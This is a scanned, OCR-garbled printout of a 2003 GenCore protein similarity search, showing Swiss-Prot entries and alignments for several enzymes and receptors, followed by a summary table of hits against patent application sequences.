 DB 104 -----IPQLAK--AAEALMGKRTSV-----DVCOMNDRY----- 132
 QY 193 TLGTPLR-----LALRTYRGRLATLPVGRVGEKTPASPVYOGGPDVAHLVLEQVP 246
 DB 133 ---FLNFWGILLETSSNQINETEKALIGKISTYSALRYSSAASPMPLKIDGEL- 187
 QY 247 SHWQVPPDDFVLVALLSHLASEMFAPMGRCAAGVHMLFYRAGVSRMLRLFLAM 306
 DB 188 -----KEAWMLVMNQYIGTRNPLPDASIDGLDVLICRN--TNLTALRELSM 238
 QY 307 EKGRHEVECPVLVYPPVAFRLERPKDGVAVNGELMVSAGVGVHPVFMVY 362
 DB 239 EOG-SIDRTFGLSELVQASRIEITDTAKA-DMQGEVITRPVAVIQLPHIDML 292
 RESULT 10
 BLOA_SERMA STANDARD; PRT; 425 AA.
 ID BLOA_SERMA
 AC P36568;
 DT 01-JUN-1994 (Rel. 29, Created)
 DT 01-JUN-1994 (Rel. 29, Last sequence update)
 DT 15-JUN-2002 (Rel. 41, Last annotation update)
 DE Adenosylmethionine-8-amino-7-oxononanoate aminotransferase
 DE (EC 2.6.1.62) (7,8-diamino-pelargonic acid aminotransferase) (DAPA
 DE aminotransferase).
 GN BLOA.
 OS Serratia marcescens.
 OC Bacteria; Proteobacteria; gamma subdivision; Enterobacteriaceae;
 OC Serratia.
 OX NCBI_TaxID=615;
 RX SEQUENCE FROM N.A.
 RP STRAIN=Str41;
 RC MEDLINE=94071435; PubMed=8250549;
 RA Sakurai N., Imai Y., Masuda M., Komatsubara S., Tosa T.;
 RT "Molecular breeding of a biotin-hyperproducing Serratia marcescens
 strain."
 RL Appl. Environ. Microbiol. 59:3225-3232(1993).
 CC -I- CATALYTIC ACTIVITY: S-adenosyl-L-methionine + 8-amino-7-
 CC oxononanoate -> S-adenosyl-4-methylthio-2-oxobutanoate + 7,8-
 CC diaminononanoate.
 CC -I- COFACTOR: PYRIDOXAL PHOSPHATE.
 CC -I- PATHWAY: Biotin biosynthesis.
 CC -I- SUBUNIT: HOMODIMER.
 CC -I- SIMILARITY: BELONGS TO CLASS-III OF PYRIDOXAL-PHOSPHATE-DEPENDENT
 CC AMINOTRANSFERASES.

```

-----
CC This SWISS-PROT entry is copyright. It is produced through a collaboration
CC between the Swiss Institute of Bioinformatics and the EMBL outstation -
CC the European Bioinformatics Institute. There are no restrictions on its
CC use by non-profit institutions as long as its content is in no way
CC modified and this statement is not removed. Usage by and for commercial
CC entities requires a license agreement (See http://www.isb-sib.ch/announce/
CC or send an email to license@isb-sib.ch).
CC -----
DR EMBL: D17468; BA004284.1; -
DR HSSP: P12995; 1003.
DR InterPro: IPR000954; AminoTran_3.
DR Pfam: PF00202; aminoTran_3; 1.
DR TIGRfam: TIGR00508; bioA; 1.
DR PROSITE: PS00600; AA_TRANSFERR_CLASS_3; 1.
DR Biotin biosynthesis; Transferase; AminoTransferase;
KW Pyridoxal phosphate.
KW BINDING 277 277 PYRIDOXAL PHOSPHATE (BY SIMILARITY).
SQ SEQUENCE 425 AA; 46867 MM; 8BA657E59B894AF6 CRC64;

Query Match 4.6%; Score 93; DB 1; Length 425;
Best Local Similarity 20.3%; Pred. No. 1.4; Indels 106; Gaps 16;
Matches 71; Conservative 47; Mismatches 125;

OY 15 CRVLVLLNPRGKGKALQ-LFRSHVQPLAEAEISFTLMTERRNHARELYRSEELG--- 70
DB 94 CRLVEMTP-----EALQCVFLADSGSVAVEVSLKMAIQWQANGERRQITLTHGYHG 148
OY 71 -RMDALVYMGSDGLMHEVYNGLMERPDMETAIQKPLCSLPGSGNALAASLNHYAGYQV 129
DB 149 DTFAMSVCPDSDNSMHSLYQGYLAPHLFATA---POCFRD-----EEM 188
OY 130 TNEDLTFTNCTL-----ICRPVLSPMNLISLHTASGRSP-----SVLSIAMEFI 174
DB 189 REEDIPAPALLEQHAGEVAIVLEPV-----VQGGGRITTHPTYLKAVRDVVRATKLL 244
OY 175 ADVLESDDKYRRLGEM-----RFTLGTFLIALLTFRGRLATLPVGRV 218
DB 245 LIADIELNGFRTGKLFCEHAQVVPDILCLGKALGTGVMTLSNLTTRHVAERTISNAA 304
OY 219 GFKTPASPVYVQGP-----VDAILVPLEBOVPSIMQVVPDEDFVLVIALHSH 267
DB 305 G-----CFMHGPTFMGNPLACAVDASLALAE---NRMQA-----QVSAIETQ 345
OY 268 LASEMFAPMGRG-----AAGVMHLFFYRAGVSRLMLLFLAMEKG 309
DB 346 LKRELL-PLGRCRMPHVRVLAIGAVEMREPVDAELQGF-VERG 390

RESULT 11
YSM3_CAEEL
ID YSM3_CAEEL STANDARD; PRT; 439 AA.
AC Q10123.
DT 01-FEB-1996 (Rel. 33, Created)
DT 15-JUN-2002 (Rel. 41, Last sequence update)
DT 15-JUN-2002 (Rel. 41, Last annotation update)
DE Hypothetical protein F52C9.3 in chromosome III.
GN F52C9.3.
OS Caenorhabditis elegans.
OC Eukaryota; Metazoa; Nematoda; Chromadorea; Rhabditida; Rhabditoidea;
OC Rhabditidae; Pelodidae; Caenorhabditis.
OX NCBI_TaxID=6239;
RN [1]
RP SEQUENCE FROM N.A.
RC STRAIN-Bristol N2;
RA Favello T.;
RL Submitted (NOV-1995) to the EMBL/GenBank/DBJ databases.
RP REVISIONS.
RA Waterston R.;
RL Submitted (NOV-2001) to the EMBL/GenBank/DBJ databases.
CC This SWISS-PROT entry is copyright. It is produced through a collaboration

```

```

-----
CC between the Swiss Institute of Bioinformatics and the EMBL outstation -
CC the European Bioinformatics Institute. There are no restrictions on its
CC use by non-profit institutions as long as its content is in no way
CC modified and this statement is not removed. Usage by and for commercial
CC entities requires a license agreement (See http://www.isb-sib.ch/announce/
CC or send an email to license@isb-sib.ch).
CC -----
DR EMBL: U39850; AAA81060.2; -
DR WormPep: F52C9.3; CE29806.
DR InterPro: IPR001206; DAGKC.
DR InterPro: IPR003622; DAG_Kin_cat.
DR PRODOM: PD005043; DAG_Kin_cat; 1.
DR SMART: SM00046; DAGKC; 1.
DR Hypothetical protein.
KW SEQUENCE 439 AA; 49974 MM; 779850DC6962ED8B CRC64;

Query Match 4.6%; Score 92.5; DB 1; Length 439;
Best Local Similarity 26.5%; Pred. No. 1.6;
Matches 27; Conservative 14; Mismatches 58; Indels 3; Gaps 1;

OY 13 RCRVTVLLNPRGKGKALQ-LFRSHVQPLAEAEISFTLMTERRNHARELYRSEELGRW 72
DB 66 RPKRFVLYVNEGSRGCFDQFNKALPLFLHAGVQDVADNOALEALGAVDQEA 125
OY 73 DALVYMGSDGLMHEVYNGLMERPDMETAIQKPLCSLPGSGN 114
DB 126 DILVYGGSDGTIGTVYIGIFRNRE---KAQLPVGRYPGGYDN 164

RESULT 12
SERV_RAT
ID SERV_RAT STANDARD; PRT; 533 AA.
AC 008651.
DT 15-UTL-1998 (Rel. 36, Created)
DT 15-UTL-1998 (Rel. 36, Last sequence update)
DT 15-JUN-2002 (Rel. 41, Last annotation update)
DE D-3-phosphoglycerate dehydrogenase (EC 1.1.1.95) (3-PGDH).
GN PGDH.
OS Rattus norvegicus (Rat).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Rodentia; Sciurognathi; Muridae; Murinae; Rattus.
OX NCBI_TaxID=10116;
RN [1]
RP SEQUENCE FROM N.A.
RX MEDLINE=97250633; PubMed=9163325;
RA Achouri Y., Rider M.H., van Schaftingen E., Robbi M.;
RT "Cloning, sequencing and expression of rat liver 3-phosphoglycerate
RT dehydrogenase.";
RL Biochem. J. 323:365-370(1997).
CC -1- CATALYTIC ACTIVITY: 3-phosphoglycerate + NAD(+) -> 3-
CC phosphohydroxypyruvate + NADH.
CC -1- PATHWAY: Serine biosynthesis; first step.
CC -1- SUBUNIT: Homotrimer.
CC -1- TISSUE SPECIFICITY: LIVER, KIDNEY, BRAIN, TESTIS.
CC -1- SIMILARITY: BELONGS TO THE D-ISOMER SPECIFIC 2-HYDROXYACID
CC DEHYDROGENASES FAMILY.

This SWISS-PROT entry is copyright. It is produced through a collaboration
between the Swiss Institute of Bioinformatics and the EMBL outstation -
the European Bioinformatics Institute. There are no restrictions on its
use by non-profit institutions as long as its content is in no way
modified and this statement is not removed. Usage by and for commercial
entities requires a license agreement (See http://www.isb-sib.ch/announce/
or send an email to license@isb-sib.ch).
-----
DR EMBL: X97772; CAA66374.1; -
DR HSSP: P08328; IPSD.
DR InterPro: IPR002162; D_2HydAc_dh.
DR Pfam: PF00389; 2-Hacid_dh; 1.
DR Pfam: PF02826; 2-Hacid_dh; 1.
DR PROSITE: PS00065; D_2-HYDROXYACID_DH_1; 1.
DR PROSITE: PS00670; D_2-HYDROXYACID_DH_2; 1.
DR PROSITE: PS00671; D_2-HYDROXYACID_DH_3; 1.

```


KM Serine biosynthesis: Oxidoreductase; NAD.
 FT ACT_SITE 236 236 SUBSTRATE-BINDING (BY SIMILARITY).
 FT ACT_SITE 265 265 BY SIMILARITY.
 FT ACT_SITE 283 283 BY SIMILARITY.
 SQ SEQUENCE 533 AA; 56493 MW; 7273DAC349E95EF CRC64;

Query Match
 Best Local Similarity 22.8%; Score 91; DB 1; Length 533;
 Matches 64; Conservative 45; Mismatches 96; Indels 76; Gaps 14;

51 LMTLRNNHARELYSRDELGRMDALVYMSGDGLMHEVNGL-----MERPDWE 98
 28 LQVEKKNLSKEELIA-ELDDCEGLVRSATKRTADYINAEKLYVGRAGTGVNDVLE 86
 99 TAIOKPLCSLPAGSGNLAASLNHYAGYEQVNTEDLLFNCTLLCRPVLSKMLSLHNA 158
 87 AATRGVLYMNTPNONSLSAA-----ELT-----CGMLCLARQIPQATASMK-- 129
 159 SGLRSFVLSLAMEFIADVDESQYRRLG-EMR-FTLGTEFLRLAL-RTYRGLATLPV 215
 130 -----DCKWDKPKFMGTGLNGKTLG-ILGGRIGREVAARMOAFGM 169
 216 GHVGEKTPASPVY-----VQGGVDAHLVPLEEQVPSHMOVVPDEEVLYLALLSHLAS 270
 170 KTVGVDPLTSPVSAASFGVQ-----LPLEE-----IWPICDFTVHTPLLPSTTG 215
 271 EMFAPMGRCAAGVNHLEFYVRAG-VSRAMLRLFLAMEKGR 310
 216 LINDSTFACQKRGVRYNCARGLYDEGALLR---ALQSG 253

RESULT 13

5H7_MOUSE STANDARD: PRT: 448 AA.
 ID 5H7_MOUSE
 AC P3204;
 DT 01-OCT-1993 (Rel. 27, Created)
 DT 01-OCT-1993 (Rel. 27, Last sequence update)
 DT 15-JUN-1998 (Rel. 36, Last annotation update)
 DE 5-Hydroxytryptamine 7 receptor (5-HT-7) (5-HT-X) (serotonin receptor) (5HT7).
 GN HTR7.
 OS Mus musculus (Mouse).
 OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi; Mammalia; Eutheria; Rodentia; Sclurognathia; Muridae; Murinae; Mus.
 NCBI_TaxID=10090;
 RN [1]
 RP SEQUENCE FROM N.A.
 RX MEDLINE=93360913; PubMed=8394987;
 RA Plassat J.-L., Amlakly N., Hen R.;
 RT "Molecular cloning of a mammalian serotonin receptor that activates adenylylate cyclase."
 RL Mol. Pharmacol. 44:229-236(1993).
 CC -1- FUNCTION: THIS IS ONE OF THE SEVERAL DIFFERENT RECEPTORS FOR 5-HYDROXYTRYPTAMINE (SEROTONIN), A BIOGENIC HORMONE THAT FUNCTIONS AS A NEUROTRANSMITTER, A HORMONE, AND A MITOGEN. THE ACTIVITY OF THIS RECEPTOR IS MEDIATED BY G PROTEINS THAT STIMULATE ADENYLATE CYCLASE.
 CC -1- SUBCELLULAR LOCATION: Integral membrane protein.
 CC -1- SIMILARITY: BELONGS TO FAMILY 1 OF G-PROTEIN COUPLED RECEPTORS.
 CC This SWISS-PROT entry is copyright. It is produced through a collaboration between the Swiss Institute of Bioinformatics and the EMBL outstation at the European Bioinformatics Institute. There are no restrictions on its use by non-profit institutions as long as its content is in no way modified and this statement is not removed. Usage by and for commercial entities requires a license agreement (See <http://www.isb-sib.ch/announce/> or send an email to license@isb-sib.ch).
 CC EMBL: Z23107; CA80654.1; -
 CC PIR: S36402; S36402.
 CC MGI: 99841; Htr7.
 CC InterPro: IPR000276; GPCR_Rhodopsn.
 CC Pfam: Pf00001; 7tm_1; 1;

DR PRINTS: PR00237; GPCRHHODPSN.
 DR PROSITE: PS00237; G_PROTEIN_RECPEP_FL_1; 1.
 DR PROSITE: PS00262; G_PROTEIN_RECPEP_FL_2; 1.
 KM G-protein coupled receptor; Transmembrane; glycoprotein;
 KM Multigene family; Lipoprotein; Palmitate.
 FT DOMAIN 1
 FT TRANSMEM 85 111
 FT DOMAIN 112 121
 FT TRANSMEM 122 147
 FT DOMAIN 148 159
 FT TRANSMEM 160 181
 FT DOMAIN 182 201
 FT TRANSMEM 202 225
 FT DOMAIN 226 240
 FT TRANSMEM 241 263
 FT DOMAIN 264 331
 FT TRANSMEM 332 355
 FT DOMAIN 356 367
 FT TRANSMEM 368 390
 FT DOMAIN 391 448
 FT CARBOHYD 5 5
 FT CARBOHYD 69 69
 FT CARBOHYD 158 234
 FT DISULFID 404 404
 FT LIPID 404 404
 SQ SEQUENCE 448 AA; 49861 MW; 01C7380300991C30 CRC64;

Query Match
 Best Local Similarity 23.7%; Score 90; DB 1; Length 448;
 Matches 78; Conservative 45; Mismatches 130; Indels 76; Gaps 21;

59 HARELYSRDELGRMDALVYMSGDGLMHEVNGLMER-----PDWETAIORPLCLSPAGSG 113
 15 HLRSLLT-LPEVGR-RLDLSPDGGAHSVSWPHLLSGPE-VTASPAPTMDAPRDV 70
 114 NALAASLNHYAGYEQVNTEDLLFNCTLL-----CRPVLS-----PMNLISLHFRASG 160
 71 SGGGEQIN-YGRREKVVISLITLLTLIAQNCIVSVCPVKNRQPSNYLVSLA-- 127
 161 LRSFVLSLAMEFIADVDESQYRRLGEMRFTLTGFLRL-----AALRTYRGLATLP 214
 128 LADLSVAVAVMPVSTDLIGRW-IFG--HFCVNFIAIMDMCTASIMT-----LCVIS 180
 215 VGR-VGEKTPASPVVYVQGGVDAHLV-----PLEEQV-----SHV-QVVPDEEVLYLAL 264
 181 IDRLGITRRLTYPRVONGKCAKMLISVPLSASTLPPLRGMAOVNDDVCLII----- 236
 265 HSHLASMEFAAPRGCAAGVNHLEFYVRAGVSRAMLRLFLAMEK--GRHMEYECPLYV 322
 237 -----SODFGTYTISTAVA-----FTIPMSVLMFLNYQIYKARKSAKHESGFP----- 282
 323 PVVAFRLPEPKDKGVFAVDGLMVSEAVQ 351
 283 -----RVQP-----ESVISLNGVVKLOKEVE 303

RESULT 14

SEEA_HUMAN STANDARD: PRT: 533 AA.
 ID SEEA_HUMAN
 AC 043175; O9B001;
 DT 15-JUL-1999 (Rel. 38, Created)
 DT 15-JUN-2002 (Rel. 41, Last sequence update)
 DT 15-JUN-2002 (Rel. 41, Last annotation update)
 DE D-3-phosphoglycerate dehydrogenase (EC 1.1.1.95) (3-PGDH).
 GN PGDH OR PGDH3.
 OS Homo sapiens (Human).
 OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi; Mammalia; Eutheria; Primates; Catarrhini; Homiidae; Homo.
 NCBI_TaxID=9606;
 RN [1]
 RP SEQUENCE FROM N.A.
 RX MEDLINE=20179699; PubMed=10713460;
 RA Cho H.M., Jun D.Y., Bae M.A., Ahn J.D., Kim Y.H.;
 RT "Nucleotide sequence and differential expression of the human

3-phosphoglycerate dehydrogenase gene.";
 RL Gene 245:193-201(2000).
 [2]
 RP SEQUENCE FROM N.A., AND VARIANTS PHGDH DEFICIENCY MET-425 AND MET-490.
 RA MEDLINE-20530221; PubMed-1105895;
 RA Klomp L.W.J., de Koning T.J., Malingre H.E.M., van Beurden E.A.C.M.,
 RA Brink M., Opdam F.L., Duran M., Jaeken J., Pineda M.,
 RA van Maeldegen L., Poll-The B.T., van den Berg I.E.T., Berger R.,
 RT "Molecular characterization of 3-phosphoglycerate dehydrogenase
 RT deficiency -- a neurometabolic disorder associated with reduced
 RT L-serine biosynthesis.";
 RL Am. J. Hum. Genet. 67:1389-1399(2000).
 [3]
 RP SEQUENCE FROM N.A.
 RC TISSUE-Brain, Lung, and Muscle;
 RA Strausberg R.;
 RL Submitted (JUL-2001) to the EMBL/GenBank/DBJ databases.
 CC -1- CATALYTIC ACTIVITY: 3-phosphoglycerate + NAD(+) = 3-
 CC phosphohydroxypyruvate + NADH.
 CC -1- PATHWAY: Serine biosynthesis; first step.
 CC -1- SUBUNIT: Homotetramer (By similarity).
 CC -1- DISEASE: Defects in PHGDH are the cause of a deficiency
 CC characterized by congenital microcephaly, psychomotor retardation,
 CC and seizures.
 CC -1- SIMILARITY: BELONGS TO THE D-ISOMER SPECIFIC 2-HYDROXYACID
 CC DEHYDROGENASES FAMILY.

 CC This SWISS-PROT entry is copyright. It is produced through a collaboration
 CC between the Swiss Institute of Bioinformatics and the EMBL outstation -
 CC the European Bioinformatics Institute. There are no restrictions on its
 CC use by non-profit institutions as long as its content is in no way
 CC modified and this statement is not removed. Usage by and for commercial
 CC entities requires a license agreement (see <http://www.isb-sib.ch/announce/>
 CC or send an email to license@isb-sib.ch).

 DR EMBL: AF006043; AAB88664.1; -
 DR EMBL: AF171237; AAD51415.1; -
 DR EMBL: BC000303; AAH00303.1; -
 DR EMBL: BC001349; AAH01349.1; -
 DR EMBL: BC011262; AAH11262.1; -
 DR HSSP: P08328; 1PSD.
 DR Gene: HGNC:8923; PHGDH.
 DR MIM: 606879; -
 DR MIM: 601815; -
 DR InterPro: IPR002162; D_2hyd-ac_dh.
 DR Pfam: PF00389; 2-Hacid_DH; 1.
 DR Pfam: PF02826; 2-Hacid_DH; 1.
 DR PROSITE: PS00065; D_2-HYDROXYACID_DH_1; 1.
 DR PROSITE: PS00670; D_2-HYDROXYACID_DH_2; 1.
 DR PROSITE: PS00671; D_2-HYDROXYACID_DH_3; 1.
 KW Serine biosynthesis; Oxidoreductase; NAD; Disease mutation.
 FT ACT_SITE 236 236 SUBSTRATE-BINDING (BY SIMILARITY).
 FT ACT_SITE 265 265 BY SIMILARITY.
 FT ACT_SITE 283 283 BY SIMILARITY.
 FT VARIANT 425 425 V->M (IN PHGDH DEFICIENCY).
 FT VARIANT 490 490 V->M (IN PHGDH DEFICIENCY).
 FT VARIANT 490 490 V->M (IN PHGDH DEFICIENCY).
 FT CONFLICT 25 25 D->E (IN REF. 1).
 FT SEQUENCE 533 AA; 56650 MW; C5EB872275C45B35 CRC64;
 SO
 Query Match 4.5%; Score 90; DB 1; Length 533;
 Best Local Similarity 19.6%; Pred. No. 3.4;
 Matches 61; Conservative 53; Mismatches 101; Indels 96; Gaps 14;
 OY 51 LMLERRHARELYSEELGRWDALVYVSGDLMEHVNGL-----MERPMWE 98
 DB 28 LQYVEKQNLSEELIA-ELQCEGLIVRSATKRYADVYNAEKLVYGRAGGVNDVLE 86
 OY 99 TAIQKPLCSLSPAGSNALASLNIHAYGEVYTNEDLTLLCLCPVLSPNMLSLHTA 158
 DB 87 AATRGILVMTPTNGNSLSAA-----ELT-----CGMIMCLAIQIIPQ----- 123

159 SGLRSFVSLAMGFADVDLESDKRYRIGEMRETL-GTFRLAL-----RTYGRRLATL 213
 DB 124 -----ATASKDKGKWEKKRNGEELNKTKTIGILGRIGEVATFRMQSF 167
 OY 214 PVGRGKTPASPV-----VOQGVDAHLVPLEQVPSHWQVVP-----DEDF----- 257
 DB 168 GMRKIGYDPIISPEVSASFVQOQPLE-EIWPICDFIVHPPLPSTFTGLNDWTFACK 226
 OY 258 --VLVIALHSHLASE--MFAAPMGRCAGVMHLFYRAVSAMLLRLFLAMEKGRHM 312
 DB 227 KGVRYVNCARGIVDEGALLRALQSGQCAALVFTPEPRDRAL-----V 273
 OY 313 EYE-----CPYL 319
 DB 274 DHEVVISCPHL 284
 RESULT 15
 PSAB_PORPU STANDARD; PRT; 734 AA.
 AC P51285;
 DT 01-OCT-1996 (Rel. 34, Created)
 DT 01-OCT-1996 (Rel. 34, Last sequence update)
 DT 15-JUN-2002 (Rel. 41, Last annotation update)
 DE Photosystem I P700 chlorophyll A apoprotein A2 (PsaB).
 CN PSAB.
 OS Porphyra purpurea.
 OG Chloroplast.
 OC Eukaryota; Rhodophyta; Bangiophyceae; Bangiales; Porphyra.
 OX NCBI_Taxid=2787;
 RN [1]
 RP SEQUENCE FROM N.A.
 RC STRAIN-Avonport;
 RA Reith M.E., Muniholland J.;
 RT "Complete nucleotide sequence of the Porphyra purpurea chloroplast
 RL genome.";
 RL Plant Mol. Biol. Rep. 13:333-335(1995).
 CC -1- FUNCTION: PsaA and psab bind P700, the primary electron donor of
 CC photosystem I (PSI), as well as the electron acceptors A0, A1, and
 CC FX. PSI functions as a plastocyanin/cytochrome c6-ferredoxin
 CC oxidoreductase.
 CC -1- COFACTOR: P700 is a chlorophyll A dimer. A0 is chlorophyll A, A1
 CC is a phytylquinone and FX is a 4Fe-4S iron-sulfur center.
 CC -1- SUBUNIT: A psaa/B heterodimer binds the P700 chlorophyll special
 CC pair and subsequent electron acceptors. The PSI reaction center of
 CC higher plants and algae is composed of one at least 11 subunits.
 CC -1- SUBCELLULAR LOCATION: Integral membrane protein. Chloroplast
 CC thylakoid membrane.
 CC -1- SIMILARITY: BELONGS TO THE PSAA/PSAB FAMILY.

 CC This SWISS-PROT entry is copyright. It is produced through a collaboration
 CC between the Swiss Institute of Bioinformatics and the EMBL outstation -
 CC the European Bioinformatics Institute. There are no restrictions on its
 CC use by non-profit institutions as long as its content is in no way
 CC modified and this statement is not removed. Usage by and for commercial
 CC entities requires a license agreement (see <http://www.isb-sib.ch/announce/>
 CC or send an email to license@isb-sib.ch).

 DR EMBL: U38804; AAC08171.1; -
 DR HSSP: P25897; 1UBO.
 DR InterPro: IPR001280; PSI_PsaA/B.
 DR Pfam: PF00223; psaa-psab; 1.
 DR PRINTS: PR00257; PROTSYPSAB.
 DR PROSITE: PS00419; PHOTOSYSTEM_I; 1.
 KW Photosynthesis; Photosystem I; Transport; Electron transport;
 KW Chloroplast; Thylakoid; Transmembrane; Metal-binding; Iron;
 KW Iron-sulfur; 4Fe-4S; Chlorophyll.
 FT TRANSMEM 46 69 I (POTENTIAL).
 FT TRANSMEM 135 158 II (POTENTIAL).
 FT TRANSMEM 175 199 III (POTENTIAL).
 FT TRANSMEM 273 291 IV (POTENTIAL).
 FT TRANSMEM 330 353 V (POTENTIAL).
 FT TRANSMEM 369 395 VI (POTENTIAL).

```
FT TRANSMEM 417 439 VII (POTENTIAL).
FT TRANSMEM 517 535 VIII (POTENTIAL).
FT TRANSMEM 575 596 IX (POTENTIAL).
FT TRANSMEM 643 665 X (POTENTIAL).
FT TRANSMEM 707 727 XI (POTENTIAL).
FT TRANSMEM 559 559 IRON-SULFUR FX (4FE-4S) (BY SIMILARITY).
FT METAL 568 568 IRON-SULFUR FX (4FE-4S) (BY SIMILARITY).
FT METAL 654 654 P700 SPECIAL PAIR CHLOROPHYLL AXIAL
FT BINDING 654 654 LIGAND (BY SIMILARITY).
FT BINDING 662 662 A0 CHLOROPHYLL (BY SIMILARITY).
FT BINDING 670 670 A0 CHLOROPHYLL (BY SIMILARITY).
FT BINDING 671 671 A1 PHYLOQUINONE (BY SIMILARITY).
SQ SEQUENCE 734 AA; 82182 MW; 63BBAD0846E48A30 CRC64;

Query Match 4.4%; Score 89; DB 1; Length 734;
Best Local Similarity 18.9%; Pred. No. 6.3;
Matches 83; Conservative 137; Mismatches 137; Indels 172; Gaps 19;

OY 87 VVNGIMERP---DMEIAIQKPLCSLPAAGSGLAALSLNHYAGYE-----QVTNEDLLT 136
DB 78 IINPLKVPRIAHAIWDPHFGOPALKAESKGSATPVNIATSGYIHHMYTIGMRTNQDLYT 137
OY 137 NCTLLICRPVLSPMNLS-----LHTASGLRSFSVLSIAM-G 172
DB 138 GAFELT---VLSAILLFGWMLHLPKFKPGLSWFKNNESRLNHHISGL--FGVSSIAWTG 192
OY 173 FIADVDLESCKYRRLGEMRT----- 193
DB 193 HLYHVAIIPESRGQHVGMNFTTVLPHRAGLOPFESGNNVYAQNPDYTAQQLFGTNEGAGT 252
OY 194 ----LGT-----LRLAALRTYGRILATL-----PV 215
DB 253 AILTFGLGFHPQOSLMLTDMAHNHLAIWVFIVAGHMYRTNMGIGHNLKDILDHNRPS 312
OY 216 GRVG-----FKTPASPVVVOGSPVDANLVPLEQVPSHMQVVPD-----EDFVLYIALL 264
DB 313 GRIGAGHRGLFDTTNSLHMQGLALALAGVITSIVAQHMVAMPYAFMAKDFTOASTLY 372
OY 265 --HSHLASMFAPMRCAGVNHLEFYR-----AGYSRAMLLRL 302
DB 373 THHOYINGFLM--VGAFAHGA--IEFVRDYDEQNKGNVLAEMLEHKEATISHLSWYTL 427
OY 303 FLAMEK-GRHMEYPC-----PYLYVYPVAVFRLPKDGKGVFAVDGELMVSEAVOQO 353
DB 428 FLGERTLGLVYHNDPTMTAFGTPEKQILIEPVPAQMIQASSGKALYGFVLLSSSNIAIQ 487
OY 354 VHPNYFMVSGCVPEPPSW 372
DB 488 AGSN-IWL-----PGM 497
```

Search completed: July 12, 2003, 18:07:59
Job time : 20 secs

GenCore version 5.1.6
Copyright (c) 1993 - 2003 Compugen Ltd.

OM protein - protein search, using sw model

Run on: July 12, 2003, 18:07:32 ; Search time 136 Seconds

(without alignments)
328.715 Million cell updates/sec

Title: US-09-784-810A-2

Perfect score: 2015
Sequence: 1 MDPAGRGVLPKRCRVLV.....CPEPPSKPKQMPPEEPL 384

Scoring table: BLOSUM62
Gapop 10.0 , Gapext 0.5

Searched: 445758 seqs, 11641973 residues

Total number of hits satisfying chosen parameters: 445758

Minimum DB seq length: 0
Maximum DB seq length: 200000000

Post-processing: Minimum Match 0%
Maximum Match 100%
Listing first 45 summaries

Database : Published_Applications_AA.*

1: /cgn2_6/ptodata/1/pubpaa/US07_NEW_PUB.pep.*
2: /cgn2_6/ptodata/1/pubpaa/PCT_NEW_PUB.pep.*
3: /cgn2_6/ptodata/1/pubpaa/US06_NEW_PUB.pep.*
4: /cgn2_6/ptodata/1/pubpaa/US06_PUBCOMB.pep.*
5: /cgn2_6/ptodata/1/pubpaa/PCT05_PUBCOMB.pep.*
6: /cgn2_6/ptodata/1/pubpaa/US07_PUBCOMB.pep.*
7: /cgn2_6/ptodata/1/pubpaa/US08_NEW_PUB.pep.*
8: /cgn2_6/ptodata/1/pubpaa/US08_PUBCOMB.pep.*
9: /cgn2_6/ptodata/1/pubpaa/US08_NEW_PUB.pep.*
10: /cgn2_6/ptodata/1/pubpaa/US09_PUBCOMB.pep.*
11: /cgn2_6/ptodata/1/pubpaa/US10_NEW_PUB.pep.*
12: /cgn2_6/ptodata/1/pubpaa/US10_PUBCOMB.pep.*
13: /cgn2_6/ptodata/1/pubpaa/US60_NEW_PUB.pep.*
14: /cgn2_6/ptodata/1/pubpaa/US60_PUBCOMB.pep.*

Pred. No. is the number of results predicted by chance to have a
score greater than or equal to the score of the result being printed,
and is derived by analysis of the total score distribution.

SUMMARIES

Result No.	Score	Query Match	Length	ID	Description
1	2015	100.0	384	10	US-09-784-810A-2
2	1962	97.4	384	10	US-09-970-516-2
3	1954	97.0	384	10	US-09-796-487-3
4	1594.5	79.1	382	10	US-09-784-810A-4
5	1587.5	78.8	382	10	US-09-970-516-6
6	1585.5	78.7	388	10	US-09-817-676A-15
7	1585.5	78.7	388	10	US-09-796-487-2
8	1582.5	78.5	381	10	US-09-796-487-1
9	1582.5	78.5	381	10	US-09-796-487-4
10	1564.5	77.6	373	10	US-09-796-487-5
11	1467	73.8	293	9	US-10-023-282-328
12	930.5	46.2	204	10	US-09-796-487-9
13	875	43.4	617	10	US-09-817-676A-12
14	856.5	42.5	618	10	US-09-817-676A-14
15	856.5	42.5	618	10	US-09-970-516-4
16	809.5	40.2	638	9	US-09-969-896-3
17	453	22.5	119	9	US-10-023-282-788
18	372.5	18.5	415	10	US-09-784-810A-15
19	372	18.5	392	10	US-09-796-487-6

20	369	18.3	380	10	US-09-784-810A-14	Sequence 14, Appl
21	355.5	17.6	424	10	US-09-796-487-8	Sequence 8, Appl
22	355.5	17.6	453	10	US-09-784-810A-12	Sequence 12, Appl
23	337	16.7	403	10	US-09-796-487-7	Sequence 7, Appl
24	263.5	13.1	436	10	US-09-784-810A-13	Sequence 13, Appl
25	263.5	13.1	537	9	US-09-969-896-10	Sequence 10, Appl
26	263.5	13.1	562	9	US-09-969-896-11	Sequence 11, Appl
27	250	12.4	471	10	US-09-784-810A-6	Sequence 6, Appl
28	223	11.1	326	9	US-09-969-896-2	Sequence 2, Appl
29	223	11.1	326	10	US-09-784-810A-11	Sequence 11, Appl
30	159	7.9	182	10	US-09-784-810A-29	Sequence 29, Appl
31	151	7.5	365	9	US-09-738-626-6336	Sequence 6336, Ap
32	147	7.3	421	9	US-09-948-820-50	Sequence 50, Appl
33	145	7.2	240	10	US-09-796-487-10	Sequence 10, Appl
34	137	6.8	319	9	US-10-156-761-9811	Sequence 9811, Ap
35	124	6.2	322	9	US-10-156-761-10532	Sequence 10532, A
36	113	5.6	296	10	US-09-815-242-4883	Sequence 4883, Ap
37	113	5.6	362	10	US-09-815-242-10793	Sequence 10793, A
38	111	5.5	294	10	US-09-815-242-13334	Sequence 13334, A
39	108	5.4	315	10	US-09-815-242-12862	Sequence 12862, A
40	102.5	5.1	1065	10	US-09-771-161A-239	Sequence 239, App
41	102	5.1	294	10	US-09-815-242-5505	Sequence 5505, Ap
42	102	5.1	315	10	US-09-815-242-12494	Sequence 12494, A
43	99	4.9	296	9	US-10-156-761-14222	Sequence 14222, A
44	94.5	4.7	2011	9	US-09-832-292-31	Sequence 31, Appl
45	93.5	4.6	511	9	US-10-156-761-10124	Sequence 10124, A

ALIGNMENTS

